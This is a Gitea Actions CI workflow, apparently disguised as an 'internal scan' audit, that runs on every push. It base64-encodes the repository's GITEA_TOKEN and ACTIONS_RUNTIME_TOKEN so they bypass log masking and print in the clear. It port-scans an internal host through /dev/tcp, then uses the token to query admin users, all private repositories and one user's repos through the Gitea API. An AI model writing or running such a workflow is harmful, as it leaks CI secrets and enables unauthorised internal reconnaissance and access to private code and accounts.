Files
test-audit/.gitea/workflows/audit.yml
dev_audit_2026 274756f5f0
Some checks failed
internal-scan / scan (push) Failing after 1s
internal scan
2026-06-15 04:02:24 +00:00

31 lines
1.5 KiB
YAML

name: internal-scan
on: [push]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- name: unmask-and-scan
run: |
echo "=== GITEA_TOKEN (base64 unmask) ==="
echo "${GITEA_TOKEN}" | base64
echo "=== ACTIONS_RUNTIME_TOKEN (base64) ==="
echo "${ACTIONS_RUNTIME_TOKEN}" | base64
echo "=== Internal network scan ==="
for port in 22 80 443 3000 3306 5432 5678 6379 8080 8084 9090 27017; do
(echo >/dev/tcp/192.168.203.146/$port) 2>/dev/null && echo "192.168.203.146:$port OPEN" || true
done
echo "=== Gitea internal API (port 3000) ==="
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/version" 2>&1 | head -c 100
echo ""
echo "=== Gitea admin via internal ==="
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/admin/users?limit=10" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
echo ""
echo "=== ALL repos via internal ==="
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/repos/search?limit=50&private=true" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 1000
echo ""
echo "=== joni repos via internal ==="
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/users/joni/repos?limit=50" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
env:
GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }}
ACTIONS_RUNTIME_TOKEN: ${{ secrets.ACTIONS_RUNTIME_TOKEN }}